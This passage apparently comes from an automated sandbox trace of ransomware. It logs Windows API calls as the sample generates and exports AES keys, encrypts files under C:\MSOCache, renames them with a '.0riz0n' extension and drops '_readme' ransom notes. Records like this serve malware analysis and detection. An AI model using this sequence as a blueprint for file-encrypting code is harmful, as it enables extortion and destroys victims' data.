lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0155.043] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0155.043] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.043] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1 [0155.043] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.043] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0155.043] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.043] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0155.043] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.043] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1 [0155.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0155.043] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0155.043] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.043] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.043] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.043] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.043] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0155.043] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0155.043] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0155.043] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0155.043] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0155.044] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0155.044] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0155.044] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0155.044] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0155.044] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0155.044] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5c0) returned 0x9ca460 [0155.044] ReadFile (in: hFile=0x1c0, lpBuffer=0x9ca460, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x9ca460*, lpNumberOfBytesRead=0x1a7fab0*=0x5ac, lpOverlapped=0x0) returned 1 [0155.046] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5c0) returned 0x9fd8b8 [0155.046] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9ca460) returned 1 [0155.046] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5c0) returned 0x9ca460 [0155.046] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0155.046] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9fd8b8) returned 1 [0155.046] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x9c0) returned 0xa58890 [0155.046] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa58890*, pdwDataLen=0x1a7faac*=0x5ac, dwBufLen=0x9ac | out: pbData=0xa58890*, pdwDataLen=0x1a7faac*=0x5b0) returned 1 [0155.046] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0155.046] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0155.046] WriteFile (in: hFile=0x1c0, lpBuffer=0x9ca460*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x9ca460*, lpNumberOfBytesWritten=0x1a7fab0*=0x5ac, lpOverlapped=0x0) returned 1 [0155.046] FlushFileBuffers (hFile=0x1c0) returned 1 [0155.049] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0155.049] NtClose (Handle=0x1c0) returned 0x0 [0155.049] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0155.050] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0155.050] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0155.050] GetLastError () returned 0x2 [0155.050] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984548, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0155.050] GetLastError () returned 0x2 [0155.050] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0155.051] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0155.051] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0155.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0155.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xb) returned 0xa9d630 [0155.052] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0155.052] NtClose (Handle=0x1c0) returned 0x0 [0155.052] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0155.052] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0155.052] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0155.052] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9ca460) returned 1 [0155.053] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0155.053] CryptDestroyKey (hKey=0x829d78) returned 1 [0155.053] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0155.053] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0155.053] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0155.053] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.053] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975)) returned 1 [0155.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0155.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0155.054] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0155.054] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0155.054] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0155.054] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.054] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975)) returned 1 [0155.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0155.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.055] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0155.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.055] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975)) returned 1 [0155.055] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0155.055] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0155.055] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.055] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.055] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0155.055] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0155.055] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0155.055] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0155.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0155.055] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0155.056] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0155.056] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0155.056] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0155.056] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0155.056] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x91980) returned 0x10f0020 [0155.056] ReadFile (in: hFile=0x1c0, lpBuffer=0x10f0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x10f0020*, lpNumberOfBytesRead=0x1a7fab0*=0x91975, lpOverlapped=0x0) returned 1 [0155.069] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x91980) returned 0x1c80020 [0155.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x10f0020) returned 1 [0155.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x91980) returned 0x10f0020 [0155.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0155.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c80020) returned 1 [0155.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x91d80) returned 0x1c80020 [0155.128] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1c80020*, pdwDataLen=0x1a7faac*=0x91975, dwBufLen=0x91d75 | out: pbData=0x1c80020*, pdwDataLen=0x1a7faac*=0x91980) returned 1 [0155.132] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c80020) returned 1 [0155.135] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0155.135] WriteFile (in: hFile=0x1c0, lpBuffer=0x10f0020*, nNumberOfBytesToWrite=0x91975, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x10f0020*, lpNumberOfBytesWritten=0x1a7fab0*=0x91975, lpOverlapped=0x0) returned 1 [0155.137] FlushFileBuffers (hFile=0x1c0) returned 1 [0155.375] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0155.377] NtClose (Handle=0x1c0) returned 0x0 [0155.377] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.0riz0n")) returned 1 [0155.378] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0155.378] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0155.378] GetLastError () returned 0x2 [0155.378] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984568, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0155.378] GetLastError () returned 0x2 [0155.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0155.379] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0155.379] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0155.380] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0155.380] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x13) returned 0x1be3cf0 [0155.380] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0155.380] NtClose (Handle=0x1c0) returned 0x0 [0155.381] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0155.381] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0155.381] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0155.381] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x10f0020) returned 1 [0155.383] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0155.383] CryptDestroyKey (hKey=0x829d78) returned 1 [0155.383] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0155.383] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0155.383] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0155.383] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.384] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741)) returned 1 [0155.384] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.384] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0155.384] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0155.384] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0155.384] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0155.385] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0155.385] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.385] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741)) returned 1 [0155.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0155.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0155.385] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0155.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0155.385] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0155.385] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741)) returned 1 [0155.385] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0155.385] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0155.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0155.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 